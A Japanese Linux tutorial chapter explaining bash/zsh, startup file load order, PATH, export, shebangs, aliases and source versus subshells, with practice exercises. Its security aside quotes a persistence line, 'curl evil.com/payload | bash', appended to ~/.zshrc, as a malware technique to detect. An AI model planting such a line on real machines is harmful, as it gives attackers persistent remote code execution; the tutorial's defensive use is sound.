2-1. シェルの基礎 - bash / zsh / 起動ファイル / PATH
所要時間: 30-50分(がっつりなら2セッション分) ゴール: シェルの種類・起動ファイルの読み込み順を理解し、「コマンドが見つからない」を1分で原因特定できる コミット内容: 自分の起動ファイル構成と PATH のデバッグログを
~/log/linux_day201.logに保存
この章が終わるとできること
$SHELLとps -p $$の違いを説明できる- zsh / bash の起動ファイル(
.zshenv/.zprofile/.zshrc/.bash_profile/.bashrc)の 読み込み順 を即答できる PATHが「コマンドを探すディレクトリのリスト」と理解し、tr ':' '\n'で可視化できるwhich/command -v/typeの使い分けができるsourceと./script.shの違いを サブシェルの観点 から説明できる
Level 1 とのつながり
- Level 1 では「コマンドを叩く側」だった。Level 2 ではコマンドを 「束ねる側」 に回る
- Day 1 で見た
echo $PATHの$PATHの正体に今日踏み込む - Day 6 の「プロセス」概念が再登場 ─ シェル自体もプロセスで、起動ファイルが読まれるタイミング = プロセス起動時
これができると何が嬉しいか
- 「ローカルで動くのに本番で動かない」事故の 8割の原因 をその場で切り分けできる
- SSH 先で alias が効かない / cron で環境変数が無い、を秒で説明できる
- Day 9(Bash スクリプト)以降の すべての前提知識 が揃う
大前提: 「シェル」を意識しないと事故が起きる
Level 1 ではコマンドをひたすら叩いてきた。あの「コマンドを受け取って実行してくれる人」が シェル(shell)です。OSと人間の間に立つ通訳。
シェルを意識せず使い続けると、こんな事故に遭う:
- 「ローカルで動くのに本番で動かない」 → シェルが違う(zsh と dash)、起動ファイルが違う
- 「SSH したら PATH が変」 → 対話シェルとログインシェルの違いで起動ファイルが読まれない
- 「cron で環境変数が効かない」 → cron は最小環境で動く、
.zshrcを読まない - 「Docker コンテナで
sourceが動かない」 → コンテナは bash でなく dash(sh)が多い
これらは全部 「どのシェルが、どの設定ファイルを読んで動いているか」 が分からないと原因特定できない。本気のバックエンドエンジニアになるなら、ここで一度しっかり整理しておく。
セッション①: シェルの種類と起動ファイル(30分)
0. 録画スタート
mkdir -p ~/log
script ~/log/linux_day201.log1. 今使ってるシェルは何か
「今このターミナルで動いているシェル」を 正確に 特定するためのコマンド群です。
- 何をするか:
$SHELL変数とps -p $$で現在のシェルを2方向から確認します - いつ使うか: SSH先で alias が効かない時、cron で動かないスクリプトの原因切り分け、
zshのつもりがbashで動いていた時など - 解決する具体的な問題: 「ローカルでは動くのにサーバーで動かない」の8割は「シェルが違う」「読み込まれる設定ファイルが違う」が原因。まずここを疑う癖を付けます
# ログインシェル(OSがログイン時に立ち上げるシェル)
echo $SHELL
# /bin/zsh
# 現在のプロセスのシェル(このターミナルで実際に動いてるやつ)
# ↓ $$ は「今動いている自分自身のシェルのプロセスID」を表す特殊変数(詳細は 2-2)
ps -p $$
# PID TTY TIME CMD
# 12345 ttys001 0:00.10 -zsh
# シェルのバージョン
zsh --version
bash --version
$SHELLと「実際に動いてるシェル」は別物
$SHELLは OSが記録している「あなたのデフォルトシェル」 の値(/etc/passwdに書かれている)。一方、いま手元で動いているシェルは、後からbashと打って起動したかもしれない。「現在のプロセスが何で動いているか」を知るには
ps -p $$。$$は「現在のプロセスID」を表す特殊変数。実務ユースケース: 本番サーバーに SSH したら
$SHELLは/bin/bashなのに、何かのスクリプトの中ではshで動いていてシェル拡張が効かない、ということがある。ps -p $$で確認する癖を。
2. シェルの種類と歴史
シェルの歴史(30秒)
- sh (Bourne shell, 1977): Unix の元祖シェル。今でも
/bin/shとして存在- bash (Bourne Again shell, 1989): GNU が作った sh の拡張版。Linux のデフォルト
- zsh (Z shell, 1990): bash の機能をさらに拡張、補完が強力。macOS のデフォルト(2019年〜)
- fish (Friendly Interactive shell, 2005): 設定なしで補完が効く現代的シェル。POSIX非互換
- dash (Debian Almquist shell): 軽量な sh 互換シェル。Debian/Ubuntu の
/bin/shの実体POSIX: シェルの「最低限ここまでは同じ仕様にしようね」という業界標準。bash も zsh も POSIX を拡張している。dash は POSIX に忠実で軽い。
それぞれの使い分け
シェル 主な用途 bash 本番サーバーの デフォルト。スクリプトを書くなら基本これ。Linux の /bin/bashzsh 対話用として macOS デフォルト。補完・テーマが強力(Oh My Zsh など) fish 対話特化。スクリプト互換性が低いので、本番サーバーには入れない dash / sh スクリプト実行用の最小シェル。Debian/Ubuntu で #!/bin/shと書くとこれで動く重要な誤解: 「ローカル(zsh)で動いた
.shファイルが本番(bash)で動かない」事件は頻発する。さらに恐ろしいのが「#!/bin/shと書いたら本番では dash で動いて配列構文が壊れた」。これは後の章で詳しくやる。
「シェル」と「ターミナルアプリ」の混同
- シェル: bash / zsh など、コマンドを解釈して実行するプログラム
- ターミナルエミュレータ: Terminal.app / iTerm2 / Alacritty など、シェルを表示する窓
「ターミナルを変える」と「シェルを変える」は別の操作。iTerm2 を使ってても中身が zsh なら zsh の設定ファイルが効く。
3. ログインシェル vs 非ログインシェル / 対話 vs 非対話
シェルには 2軸4種類 の起動モードがある。これを理解しないと「起動ファイルがいつ読まれるか」が分からない。
# ログインシェルかどうか確認(1なら true)
# ↓ && は「左が成功したら右を実行」、|| は「左が失敗したら右」(詳細は 2-3)
# ↓ shopt は bash の設定確認、[[ -o login ]] は zsh の「login オプションが ON か」
shopt -q login_shell && echo "login" || echo "non-login" # bashの場合
[[ -o login ]] && echo "login" || echo "non-login" # zshの場合
# 対話シェルかどうか($- に i が含まれているかで判定)
# ↓ case は「値に応じて分岐」する構文(詳しくは 2-3 でやる)。
# ↓ "$-" は現在のシェルのオプション文字列、*i* は「中に i が含まれる」パターン
case "$-" in *i*) echo "interactive" ;; *) echo "non-interactive" ;; esac4種類の起動モード
モード 例 ログイン × 対話 macOSのターミナルを開いた瞬間、SSHでログインした直後 非ログイン × 対話 ターミナル内でさらに bashを起動、tmuxの新ペインログイン × 非対話 ssh user@host "command"のように1コマンド実行非ログイン × 非対話 bash script.shでスクリプト実行、cron が動かすなぜ気にするか: モードごとに 読み込まれる起動ファイルが違う。これを知らないと、「
.zshrcに書いた alias が cron では効かない」みたいな現象の理由が分からない。
4. 起動ファイルの読み込み順(zsh)
シェルが起動するとき、複数の設定ファイル(.zshenv .zshrc 等)を 決まった順序で 読み込みます。この順序を把握しておかないと「設定したのに効かない」事故が起きます。
- 何を確認するか: zsh が参照する可能性のある全起動ファイルの存在を一覧する
- いつ使うか: 新しい環境で「どのファイルが既に存在するか」を把握する初期調査、
.zshrcに書いた設定が効かない時のデバッグ - 解決する具体的な問題: 「PATH を
.zshrcに書いたのに cron で効かない」「.zprofileと.zshrc両方にメッセージ書いて2回出る」など、ファイル別の役割を知らないと起こる事故を予防します
# zsh が読むファイル(順番が大事)
ls -la ~/.zshenv ~/.zprofile ~/.zshrc ~/.zlogin /etc/zshenv /etc/zprofile /etc/zshrc /etc/zlogin 2>/dev/nullざっくり言うと
zsh は 「いつ起動したか」によって読むファイルが違う。
これを知らないと「.zshrc に書いたのに cron で効かない」事故が起きる。
まず普通のパターン
zsh の頭の中:
zsh が起動した
↓
「俺、今どんなモードで起動した?」
↓
ログインか? 対話か?
↓
それに応じて読むファイルを決める
読み込み順のフロー
zsh 起動
↓
[1] /etc/zshenv → ~/.zshenv ← 必ず読む(どんなモードでも)
↓
ログインシェルか?
YES ↓
[2] /etc/zprofile → ~/.zprofile ← ログイン時のみ
↓
対話シェルか?
YES ↓
[3] /etc/zshrc → ~/.zshrc ← 対話時のみ
↓
ログインシェルか?
YES ↓
[4] /etc/zlogin → ~/.zlogin ← ログインの締めくくり
4ファイルの対比
| ファイル | いつ読まれるか | 何を書くか | イメージ |
|---|---|---|---|
~/.zshenv | 全部のシェルで必ず | PATH、環境変数 | 玄関に張る紙(全員見る) |
~/.zprofile | ログイン時1回 | ssh-agent 起動など | 朝の儀式 |
~/.zshrc | 対話シェル時 | alias、プロンプト、補完 | 仕事机のセットアップ |
~/.zlogin | ログインの最後 | 起動メッセージ(実用ほぼ無し) | 締めの挨拶 |
「PATH を .zshrc に書いたら cron で動かない」事故
cron が起動
↓
非対話・非ログインシェル
↓
zsh は ~/.zshenv だけ読む
↓
~/.zshrc を読まない
↓
PATH が更新されてない
↓
go: command not found
正解: PATH のような「どこからでも効かせたい設定」は ~/.zshenv に書く。
# ~/.zshenv
export PATH="$HOME/go/bin:$PATH"
export EDITOR=nvim
# ~/.zshrc (対話だけで使う)
alias ll='ls -lah'
PROMPT='%~ $ 'bash の場合
bash も似ているが少しややこしい:
| ファイル | いつ読まれるか |
|---|---|
/etc/profile | ログインシェル |
~/.bash_profile or ~/.profile | ログインシェル(前者があれば後者は読まない) |
~/.bashrc | 対話・非ログインシェル |
bash には .zshenv 相当(全モードで必ず読まれるファイル)が無い。だから多くの人は ~/.bash_profile の中で source ~/.bashrc する。
一番覚えやすい説明
.zshenv= どんな時も読む = 環境変数の置き場.zshrc= 対話の時だけ読む = 使い心地の置き場- 困ったら PATH は
.zshenv、alias は.zshrcで覚える
よくあるアンチパターン: 全部
.zshrcに書く# ~/.zshrc に PATH を書いている export PATH="$HOME/go/bin:$PATH"これだと cron や
ssh user@host "go version"で PATH が効かない。なぜなら.zshrcは対話シェルでしか読まれないから。正解: PATH や環境変数は
~/.zshenvに書く。aliasや補完設定だけ~/.zshrcに。
ログイン時にメッセージが2回出る現象
.zprofileと.zshrcの両方にneofetchのような起動メッセージを書くと、ターミナル起動時(ログイン+対話)に両方走って2回出る。役割分担が大事。
5. 環境変数 vs シェル変数、export の意味
ざっくり言うと
普通に VAR=hello で変数を作っても、そこから起動した子プロセス(Goアプリ、別シェル、スクリプト等)からは見えない。
それを「子に渡せる変数」に昇格させるのが export。
まず普通のパターン
MY_VAR="hello"
echo $MY_VAR # helloこの時の構造はこう:
シェル(親)
└─ MY_VAR="hello" ← このシェルの中だけのメモ書き
この状態で子プロセスを起動すると:
bash -c 'echo $MY_VAR' # 空っぽなぜか:
シェル(親) MY_VAR="hello"
└─ bash(子) ← MY_VAR が引き継がれていない!
└─ echo $MY_VAR ← 空っぽ
シェル変数は 「親が自分の手帳に書いただけ」。子プロセスを起動するとき、その手帳は持たせない。
export は「子に持たせるカバンに入れる」
export MY_VAR="hello"
bash -c 'echo $MY_VAR' # helloイメージ:
シェル(親) [カバン: MY_VAR="hello"]
└─ bash(子) ← カバンをそのまま引き継ぐ
└─ echo $MY_VAR ← hello!
export = 「この変数は子プロセスに引き継ぐカバンに入れる」 マーキング。
対比表
| シェル変数 | 環境変数 (export 済み) | |
|---|---|---|
| 作り方 | VAR=value | export VAR=value |
| 現在のシェル | 見える | 見える |
| 子プロセス | 見えない | 見える |
env で確認 | 出ない | 出る |
| 用途 | 一時的なメモ、ループカウンタ | アプリ設定、PATH、DATABASE_URL |
実務での顕在化
# DATABASE_URL を Go アプリ(子プロセス)に渡したい
DATABASE_URL="postgres://..." # NG: シェル変数のまま
go run main.go # アプリから os.Getenv("DATABASE_URL") → 空
# OK
export DATABASE_URL="postgres://..."
go run main.go # アプリから読める一番覚えやすい説明
- シェル変数 = 親の手帳のメモ(子は読めない)
- 環境変数 (export 済み) = 子に持たせるカバンの中身
「os.Getenv で読めない」の正体は、ほぼ100% export し忘れ。
# 環境変数を確認
env | grep MY_VAR
printenv MY_VAR
# 削除
unset MY_VAR
envコマンドの2つの顔
- 現在の環境変数を一覧表示:
env(引数なし)- 指定した環境変数でコマンドを実行:
env VAR=value command後者の応用が shebang の
#!/usr/bin/env bash(後述)。
6. PATH の仕組み
ざっくり言うと
go と打った時、シェルはあなたの PC 全体を検索したりはしない。
事前に登録された「ここを探していい」ディレクトリリスト だけを順番に見る。それが PATH。
まず普通のパターン
echo $PATH
# /usr/local/bin:/usr/bin:/bin:/Users/takato/go/bin: で区切られた コロン区切りリスト。これを左から順にスキャンする。
シェルが go を探すフロー
go version と打った時、シェルの脳内:
go と打たれた
↓
PATH を左から順に見る
↓
1. /usr/local/bin/go あるか? → ない
↓
2. /usr/bin/go あるか? → ない
↓
3. /bin/go あるか? → ない
↓
4. /Users/takato/go/bin/go あるか? → あった!
↓
こいつを実行する
最初に見つけたものを使う。それ以降は 見ない。
「command not found」が出るパターン
go と打たれた
↓
PATH を全部スキャン
↓
どこにも go が無い
↓
command not found
= PATH に登録されていないだけ(バイナリ自体はサーバー上にある)。
「想定と違うバージョンが動く」パターン
PATH=/usr/bin:/Users/takato/go/bin
# /usr/bin/go (古い1.18) と /Users/takato/go/bin/go (新しい1.22) が両方あるgo version と打たれた
↓
1. /usr/bin/go あった! ← ここで止まる
↓
古い 1.18 が動いてしまう
順序が運命を決める。新しい方を優先したいなら:
export PATH="$HOME/go/bin:$PATH" # 先頭に追加 → 優先「コマンドの実体を確認する」3コマンドの違い
which go # 外部コマンド、PATH を見るだけ
command -v go # シェル組み込み、alias も関数も見る(推奨)
type go # 「何種類のもの?」まで教える(alias/function/builtin/file)| which | command -v | type | |
|---|---|---|---|
| alias を見る | × | ○ | ○ |
| 関数を見る | × | ○ | ○ |
| 種類を表示 | × | × | ○ |
「コマンドが見つからない」デバッグの一番覚えやすい手順
# 1. そもそも PATH に何が並んでるか
echo $PATH | tr ':' '\n'
# 2. バイナリ自体は存在するか(PATH を無視して全検索)
find /usr /opt /home -name go -type f 2>/dev/null
# 3. 実体があるなら PATH に足す
export PATH="/usr/local/go/bin:$PATH"
# 4. 確認
type go
hash -r # キャッシュクリア(パス変更後)一番覚えやすい説明
- PATH = 「探していい場所のリスト」(左から順に見る)
- command not found = リストに登録されていないだけ
- バージョンが違う = リストの順序問題
- 確認は
command -vかtype
# PATH を見る
echo $PATH
# /usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/Users/takato/go/bin
# 読みやすく改行
echo $PATH | tr ':' '\n'
# コマンドがどこにあるか
which ls # /bin/ls
which go # /Users/takato/go/bin/go
command -v go # which より推奨(後述)
type go # 「コマンドの種類」まで出る(alias / function / builtin / file)
# PATH に追加
export PATH="$HOME/bin:$PATH" # 先頭追加(優先度高)
export PATH="$PATH:$HOME/bin" # 末尾追加(既存優先)PATH の本質
PATH は 「コマンドを探すディレクトリのリスト」。
:で区切られている。
goと打つと、シェルは PATH を左から順に見ていって、最初にgoという実行可能ファイルが見つかったディレクトリで実行する。
whichvscommand -vvstype
which: 外部コマンド。alias を見ない(だから推奨されない)command -v: シェル組み込み。alias も関数も見る。スクリプトではこっちtype: 「これは何種類のもの?」まで教えてくれる(alias/function/builtin/file)
「コマンドが見つからない」のデバッグ手順
# 1. PATH を確認 echo $PATH | tr ':' '\n' # 2. コマンドの実体を探す(PATHを無視して) ls /usr/local/bin/go find /usr -name go -type f 2>/dev/null # 3. 実体があるのに見つからないなら PATH に追加忘れ export PATH="/usr/local/go/bin:$PATH" # 4. type / hash で再確認 type go hash -r # コマンドキャッシュをクリア(パス変更後)
PATH のアンチパターン
# NG: . (カレントディレクトリ)を PATH に入れる export PATH=".:$PATH"なぜNG: 悪意あるディレクトリで
lsという名前のスクリプトを置かれると、それが実行される。セキュリティ上、絶対にやらない。# NG: 既存 PATH を上書き export PATH="$HOME/bin"なぜNG:
:$PATHを付け忘れて、システムコマンド全部が消える。lsすら使えなくなる。必ず:$PATHで既存を保持する。
セキュリティ: setuid されたディレクトリと PATH
PATH の先頭に書き込み可能なディレクトリ(特に
/tmpや他人が書ける場所)を入れると、攻撃者がコマンドを偽装できる。本番サーバーでは PATH のディレクトリすべてが「自分か root しか書けない」状態であるべき。ls -ld $(echo $PATH | tr ':' ' ')で権限確認可能。
7. shebang の話(env 推奨理由)
スクリプトの1行目に書く #!/usr/bin/env bash の正体と、なぜ #!/bin/bash より推奨されるかを整理します。
- 何の構文か: shebang(シバン)は「このファイルをどのインタプリタで実行するか」をカーネルに伝える特殊なコメント行
- いつ意識するか: スクリプトを書く時の1行目、macOS と Linux で動く可搬性が必要な時、Homebrew の bash5 とシステムの bash3 を使い分けたい時
- 解決する具体的な問題: 「macOS で書いたスクリプトが Linux サーバーで動かない」「bash のバージョンが古くて連想配列が使えない」「Docker コンテナで
/bin/bashが存在しない」事故を可搬性のある書き方で予防します
# パターンA: 絶対パス指定
#!/bin/bash
# パターンB: env 経由
#!/usr/bin/env bashざっくり言うと
shebang は「このファイルを何で実行するか」をカーネルに告げる1行目。 これが無いと「現在のシェル」で実行されてしまい、bash用に書いたのに dash で動いて壊れる、みたいな事故が起きる。
shebang が無い時に何が起きるか
# script.sh (shebang なし)
echo "hello"
arr=(a b c) # bash の配列構文
echo ${arr[1]}このファイルを実行すると:
./script.sh が呼ばれた
↓
カーネル「shebang が無い」
↓
じゃあ呼び出し元のシェルで実行
↓
呼び出し元が bash なら bash で動く
呼び出し元が dash なら dash で動く ← 配列構文で死ぬ
= 同じスクリプトが環境によって挙動が変わる。最悪。
shebang を書くと何が起きるか
#!/bin/bash
echo "hello"
arr=(a b c)
echo ${arr[1]}./script.sh が呼ばれた
↓
カーネル「1行目が #! で始まってる」
↓
そこに書かれた /bin/bash を起動
↓
/bin/bash がこのファイルを読んで実行
= どんなシェルから呼ばれても bash で実行される。安心。
これは bash の機能じゃなくて カーネルの機能。
/bin/bash 直書き vs /usr/bin/env bash
#!/bin/bash # パターンA: 絶対パス
#!/usr/bin/env bash # パターンB: env 経由それぞれの探し方:
パターンA: /bin/bash 固定
↓
macOS で Homebrew の bash5 を入れていても /bin/bash3 が呼ばれる
↓
bash3 だと連想配列が使えない
パターンB: env が PATH を見る
↓
PATH の中から最初に見つかった bash を呼ぶ
↓
ユーザーが入れた新しい bash が使われる
#!/bin/bash | #!/usr/bin/env bash | |
|---|---|---|
| パス | 絶対パス固定 | PATH を見る |
| 可搬性 | 低い(OS依存) | 高い |
| バージョン管理 | できない | pyenv/nvm が効く |
| セキュリティ | 高い(攻撃の余地少) | やや低 |
| 推奨 | init.d など固定環境 | 一般的なスクリプト |
shebang の落とし穴
# ファイルの先頭が
#!/bin/bash\r ← Windows 改行 (CRLF) が混入これを Linux で実行すると:
カーネル「/bin/bash\r を起動しろ」
↓
そんなバイナリは無い
↓
"No such file: /bin/bash\r" という意味不明エラー
対策: file script.sh で改行コード確認、dos2unix script.sh で変換。
一番覚えやすい説明
- shebang = 「このファイルを何で実行するか」のカーネルへの指示
- 無いと 呼び出し元のシェル次第 で挙動が変わる
- 基本は
#!/usr/bin/env bash(可搬性のため) - 拡張子
.shは飾り。shebang が本体。
shebang の落とし穴
- 拡張子
.shは無関係: shebang さえあれば.sh無くても実行できる。逆に shebang が無いと、.shでも「現在のシェル」で実行される- 改行コード CRLF: Windowsで作った
.shを Linux に持ち込むと shebang の後ろに\rが付いて「No such file: /bin/bash\r」のような謎エラー。file script.shで改行コード確認、dos2unixで変換- shebangは1行目限定: 2行目以降に書いても効かない
セッション②: alias / 関数 / source(25-30分)
8. alias と関数の使い分け
「いつも打つ長いコマンド」を短縮する2つの方法。alias は単純な短縮、関数は引数操作や複数行処理向け という棲み分けです。
- 何のコマンド/構文か:
aliasは別名定義、シェル関数は名前付きの小さなプログラム - いつ使うか: 毎日打つ
git statusをgsに短縮、mkdir && cdを1コマンド化、プロジェクト固有のショートカットを.zshrcに常備 - 解決する具体的な問題: タイプ量削減、ヒューマンエラー予防(
rm -iを強制するなど)、チームで共通のオペレーションを揃える。ただし alias は引数の扱いに罠があり、引数を途中に挟みたい場合は関数が必要です
# alias: コマンドの「短縮表現」
alias ll='ls -lah'
alias gs='git status'
# alias を一覧
alias
# alias を削除
unalias ll
# alias を一時的に無効化(先頭にバックスラッシュ)
\ls # alias 'ls' を無視して本物の ls を実行
# 関数: 引数を取れる、複数行書ける
# ↓ $1 は「関数(やスクリプト)に渡された1番目の引数」(特殊変数は 2-2 で深掘り)
mkcd() {
mkdir -p "$1" && cd "$1"
}
# 関数を一覧
declare -f # bash
functions # zshalias と関数の決定的な違い
観点 alias 関数 引数の扱い 末尾に追加されるだけ $1 $2で個別に受け取れる複数行 不可( ;で繋ぐのも厳しい)自由 制御構造 使えない iffor使い放題速度 わずかに速い わずかに遅い 目安: 1コマンドの短縮なら alias、引数操作や複数コマンドなら関数。
alias の罠: 引数を途中に挟めない
alias gco='git checkout' gco main # OK: git checkout main になる alias mygit='git -C ~/myrepo' mygit status main # 期待: git -C ~/myrepo status main # 実際: git -C ~/myrepo status main (これは合ってる) alias gci='git commit -m "$1"' # NG! gci "msg" # 期待: git commit -m "msg" # 実際: git commit -m "$1" "msg" ($1 は展開されない)alias の中の
$1は 展開されない。展開したいなら関数を使う:gci() { git commit -m "$1"; }
alias 展開のタイミング
alias は コマンドラインに打った瞬間に展開 される。シェルスクリプトの中では デフォルトで alias が展開されない(bash の場合)。
# ~/.bashrc に alias ll='ls -lah' があっても bash -c 'll' # → command not foundなぜなら、
bash -cは非対話シェルで、.bashrcを読まないから。スクリプト内で alias を使いたいならshopt -s expand_aliasesが必要だが、そもそも関数を使うべき。
9. source(.)とサブシェル
source と ./ は 似て非なるもの。前者は現在のシェルでファイルを実行、後者は子プロセスを起動して実行します。この違いが分からないと「.env を読み込んだのに変数が反映されない」事故が起きます。
- 何のコマンドか:
source file(または. file) は現在のシェルでスクリプトを「展開して実行」、./fileは新しいサブシェルで実行 - いつ使うか:
.envファイルを読み込む、.zshrcを編集後に即反映、関数定義を含むライブラリを読み込む、Python の venv を有効化する(source venv/bin/activate) - 解決する具体的な問題: 「スクリプト内で
cdしたのにシェルに戻ったら元の場所に戻っていない(正常動作)」「exportしたはずなのに親シェルに反映されない(./で実行しているせい)」という挙動の理由を理解します
# source: 現在のシェルでファイルを実行
source ~/.zshrc
# または短縮表記
. ~/.zshrc
# ./script.sh: 子プロセス(サブシェル)で実行
./myscript.sh
# 比較実験
echo 'export FOO=bar' > test.sh
# サブシェル実行 → 親に変数が残らない
bash test.sh
echo $FOO # 空(子プロセスで定義されただけ)
# source 実行 → 親に変数が残る
source test.sh
echo $FOO # barsource と通常実行の違い
./script.sh: 新しい子プロセス(サブシェル)を作って、その中でスクリプトを実行。スクリプト内の変数変更やcdは親に影響しないsource script.sh/. script.sh: 現在のシェル内でスクリプトの中身を「直接タイプしたかのように」実行。cdもexportも親に効く使い分け
- 通常のスクリプト実行:
./script.sh(影響範囲を分離)- 環境変数を読み込みたい:
source ~/.zshrc/source .env- 関数定義を読み込みたい:
source lib.sh
サブシェルの概念
( ... )でコマンドを囲むとサブシェルで実行される。中で何しても親に影響しない。cd /tmp ( cd /etc && ls ) # サブシェルで /etc に移動 pwd # /tmp (戻ってる)実務ユースケース: スクリプト内で一時的に作業ディレクトリを変えたい時、
( cd ... && ... )ならスクリプト全体の cwd が壊れない。
10. 実務トラブル: SSH した時 .zshrc が読まれない
よくある事故:
ssh server "command"で alias / 関数が効かない# ローカルで alias myls='ls -lah' を ~/.zshrc に書いている ssh server "myls" # → bash: myls: command not found原因:
ssh server "command"は 非対話・非ログインシェル として実行される。.zshrcも.zprofileも読まれない。対策
# 1. ssh -t で対話的に(強制的に対話シェル化) ssh -t server "bash -ic 'myls'" # 2. 環境変数なら ~/.zshenv に書く(これは非対話でも読まれる) # 3. SSH直後に source する ssh server "source ~/.zshrc && myls"
CI で「ローカルで動くスクリプトが動かない」
GitHub Actions や GitLab CI は 非対話・非ログインシェル。さらに OS によっては
/bin/sh(dash) で起動される。対策
.github/workflows/*.ymlでshell: bashを明示- スクリプトの shebang を
#!/usr/bin/env bashにして、明示的に bash を使う- 環境変数は CI の Secrets / Variables に登録(
.zshenvは読まれない)
セキュリティ: 起動ファイルへの不審な追記
マルウェアの定番手口:
~/.zshrcや~/.bashrcの末尾にcurl evil.com/payload | bashのような行を追記する。次回起動時に自動実行される。定期的に
git diffできるよう、起動ファイルは Git で管理する のが鉄則(dotfiles 管理)。差分が出れば一目で異常検知できる。
練習課題
# 1. 自分の起動ファイルを確認
ls -la ~/.zshenv ~/.zprofile ~/.zshrc 2>/dev/null
# 2. シェル変数 vs 環境変数を体感
LOCAL_VAR="i am local"
bash -c 'echo "from child: $LOCAL_VAR"' # 空のはず
export LOCAL_VAR
bash -c 'echo "from child: $LOCAL_VAR"' # 通る
# 3. PATH を改行で見やすく
echo $PATH | tr ':' '\n'
# 4. 自作スクリプト用ディレクトリを作って PATH に追加
mkdir -p ~/bin
echo '#!/usr/bin/env bash
echo "hello from my-tool, args: $@"' > ~/bin/my-tool
chmod +x ~/bin/my-tool
# ~/.zshenv に追記(PATH なので zshenv が正解)
echo 'export PATH="$HOME/bin:$PATH"' >> ~/.zshenv
# 新しいシェルを起動して動作確認
zsh -c 'my-tool world peace'
# 5. mkcd 関数を ~/.zshrc に追加
# ↓ name() { ... } は「シェル関数」の定義構文(詳細は 2-2)
# ↓ $1 は関数に渡された第1引数、&& は「左が成功したら右を実行」
cat >> ~/.zshrc <<'EOF'
mkcd() {
mkdir -p "$1" && cd "$1"
}
EOF
source ~/.zshrc
mkcd ~/learn/linux/day201/test
pwd
# 6. shebang の違いを実験
echo '#!/bin/bash
echo "interpreter: $BASH_VERSION"' > test_bash.sh
echo '#!/usr/bin/env bash
echo "interpreter via env: $BASH_VERSION"' > test_env.sh
chmod +x test_*.sh
./test_bash.sh
./test_env.sh
# 7. source と ./ の違いを体感
echo 'cd /tmp' > goto.sh
chmod +x goto.sh
pwd
./goto.sh # サブシェルで cd → 親には影響しない
pwd
source goto.sh # 現在のシェルで cd → 影響する
pwd締め: git で証跡を残す
exit # script 終了
cd ~/learn/linux/day201
git init -q 2>/dev/null
git add -A
git commit -m "feat(linux): シェルの種類・PATH・起動ファイルの整理"チェックリスト
-
$SHELLとps -p $$の違いを説明できる - zsh の起動ファイル(
.zshenv/.zprofile/.zshrc)の読み込み順を言える - PATH が「コマンドを探すディレクトリのリスト」であることを
tr ':' '\n'で可視化した -
whichとcommand -vの違いを理解した -
#!/usr/bin/env bashが推奨される理由を1分で説明できる - alias と関数の使い分けを言える
-
sourceと./の違いを体感した - 「SSH で alias が効かない」現象の原因が分かる
詰まった時のチートシート
| やりたいこと | コマンド |
|---|---|
| 現在のシェル | ps -p $$ |
| シェル種別とバージョン | $SHELL --version |
| 環境変数を一覧 | env / printenv |
| 環境変数を export | export KEY=value |
| 環境変数を削除 | unset KEY |
| PATH を見やすく | echo $PATH | tr ':' '\n' |
| コマンドの実体を探す | command -v <cmd> / type <cmd> |
| 起動ファイルを再読込 | source ~/.zshrc |
| alias 一覧 | alias |
| 関数一覧 | declare -f(bash) / functions(zsh) |
| サブシェルで実行 | ( command ) |
| 非対話シェルで実行 | bash -c '...' |
| 対話シェルで実行 | bash -ic '...' |
「実務OK」基準
- 「コマンドが見つからない」の原因を1分で特定できる: PATH か、起動ファイル読み込みタイミングか、alias 展開かを切り分けられる
- PATH に書き込み可能ディレクトリを混ぜない: セキュリティ感覚として
.や/tmpを入れない - 環境変数は
.zshenv、対話設定は.zshrcという役割分担ができる #!/usr/bin/env bashを書ける: 可搬性を意識できるsourceと./の違いを後輩に説明できる: サブシェルの概念が腹落ちしている
さらに深掘りするなら
- 公式:
man zsh/man bashの INVOCATION セクション(起動ファイルの公式仕様) - 書籍: 『新しいLinuxの教科書』(三宅英明 / 大角祐介)の シェル章 / 『詳解 シェルスクリプト』(Arnold Robbins)
- OSS: oh-my-zsh のソースを読むと、起動ファイル設計の参考になる
- dotfiles ベストプラクティス: GitHub で
topic:dotfilesを検索、人気リポジトリの構成を真似る - POSIX 仕様: The Open Group Base Specifications - Shell Command Language
アンチパターン / 初心者やらかし事例
NG 1: .bashrc に export 書いて「cron で効かない」
# ~/.bashrc に
export API_KEY=xxx→ cron は 対話シェルではないので .bashrc を読まない。対策: cron 用は .profile か crontab 内で直接 export、もしくは systemd の EnvironmentFile= を使う(Day 11)。
NG 2: PATH=/custom/bin で上書き
PATH=/custom/bin # 既存 PATH を全消し! ls すら見つからなくなる→ 対策: 必ず追記: PATH=/custom/bin:$PATH または PATH=$PATH:/custom/bin。
NG 3: source ./script.sh のつもりで ./script.sh を実行 → 環境変数が消える
./set_env.sh # スクリプト内で export しても、終了したら親シェルに残らない
source ./set_env.sh # こちらが正解→ 対策: 「シェルの状態を変える」スクリプトは必ず source(または .)で実行。
NG 4: PATH に .(カレント)を入れる
PATH=.:$PATH→ 攻撃者が /tmp/ls のような偽コマンドを置けるとそれが先に実行される。絶対やらない。
自己評価チェックリスト
- zsh の起動ファイル読み込み順(
.zshenv→.zprofile→.zshrc)を見ずに書ける -
whichとcommand -vの差を説明できる(alias を見るか、純粋に PATH 検索か) -
sourceと./の差を 「サブシェル」 の用語で説明できる -
#!/usr/bin/env bashがなぜ推奨されるか説明できる - cron で環境変数が消える理由を答えられる
次のレッスン: Day 9 - Bash スクリプト基礎
明日は 「シェルの設定」から「シェルでプログラムを書く」 に進化する。
クォーティング・変数展開・set -euo pipefail の鉄則・$@ vs $* の罠など、「事故らないスクリプト」の書き方を扱う。今日学んだ $PATH / export / source がそのまま使われる。